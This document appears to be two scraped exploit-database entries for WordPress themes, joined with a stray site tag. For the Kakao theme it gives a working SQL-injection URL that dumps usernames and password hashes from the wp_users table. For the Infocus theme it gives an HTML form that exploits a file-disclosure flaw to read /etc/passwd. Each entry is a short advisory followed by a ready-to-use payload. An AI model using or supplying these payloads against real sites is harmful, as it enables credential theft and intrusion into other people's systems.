The Kakao theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/themes/kakao/sonHaberler.php?ID=-1+union+select+1,2,3,4,5,group_concat%28user_login,0x3a,user_pass%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+wp_users--
HireHackking 
source: https://www.securityfocus.com/bid/67934/info

The Infocus theme for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

<html>
<body>
<form action="http://www.site.com/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post">
Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
<input type="submit">
</form>
</body>
</html>